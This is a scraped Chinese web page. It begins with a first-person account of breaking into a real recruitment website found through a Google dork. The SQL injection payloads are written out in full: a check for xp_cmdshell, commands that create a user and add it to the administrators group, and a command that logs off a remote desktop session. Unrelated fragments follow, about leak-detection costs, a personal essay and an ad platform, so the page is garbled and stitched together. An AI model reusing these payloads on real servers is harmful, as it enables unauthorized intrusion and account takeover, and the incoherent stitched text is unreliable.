んㄗ葑訫鎖愛
一次無聊的檢測。這幾天停電,可把我給憋壞了!好不容易電來了,趕緊翻出個原始碼,簡單看了下,發現個注入點,上google去實戰。這裡我就把這個公布出來吧。google:inurl:com_job_list1.asp?id 可以注入,是某人才網的原始碼。找了個注入點,在啊d檢測是sa許可權。記得某人說過,sa許可權拿不下**只能說明你技術問題。
既然是sa許可權,偶當然不能放過了,列目錄了一下,發現不能,這時候就想到了xp_cmdshell了,由於在啊d裡幹啥都沒回顯,手動測試。
提交 and 1=(select count(*) from master.dbo.sysobjects where xtype = x and name = xp_cmdshell)
返回正常,
趕緊加個帳號先,;exec master.dbo.xp_cmdshell net user shaun 111 /add;--
加如管理員組
;exec master.dbo.xp_cmdshell net localgroup administrators shaun /add;--
遠端桌面可以連線,但是登陸時提示遠端伺服器超出最大允許連線數,mlgb,踢掉乙個,;exec master.dbo.xp_cmdshell logoff 1;--
這回可以正常登陸,
dsp調音一次多少錢 漏水檢測一次多少錢?
漏水檢測根據室內外漏水部位,使用儀器裝置 檢測工期不同所需要的費用不一樣,具體費用需要與防水公司確定方案後才知道。判斷管道是否漏水,最好的辦法是重新做一次打壓試驗。至於漏水檢測一次多少錢?2 管道裝好時必須做打壓試驗 關閉管道總閥,用手動打壓機給管道打壓,打抵8 10公斤時等待半小時,如果壓力可以保...
只有一次 只有一次
二十多歲的年紀我累了很久,也在努力的尋找機會向陽而生。十三歲時迫於生活父母把剛上初一的我獨自留在老家,被父母伺候慣的我沒有一點生活常識,不懂得如何把衣服洗淨,不懂得如何生火做飯,不懂得如何花錢,不懂得如何戰勝黑暗和孤獨,每次乙個人回家時都會出現幻聽和幻覺,看著家裡好像有炊煙,聽誰都像媽媽的聲音.好不...
對悠選廣告平台的一次入侵檢測
悠易互通是中國領先的受眾營銷傳播平台,依託龐大的專有受眾資料庫和先進的廣告技術,幫助廣告主推送相關廣告資訊精準到達目標受眾。2012年3月,悠易在中國推出第一家支援實時競價 rtb 購買的需求方平台 dsp 命名為air 受眾投資回報器 它對接國內所有廣告交易平台,包括谷歌的adx,的tanx和騰訊...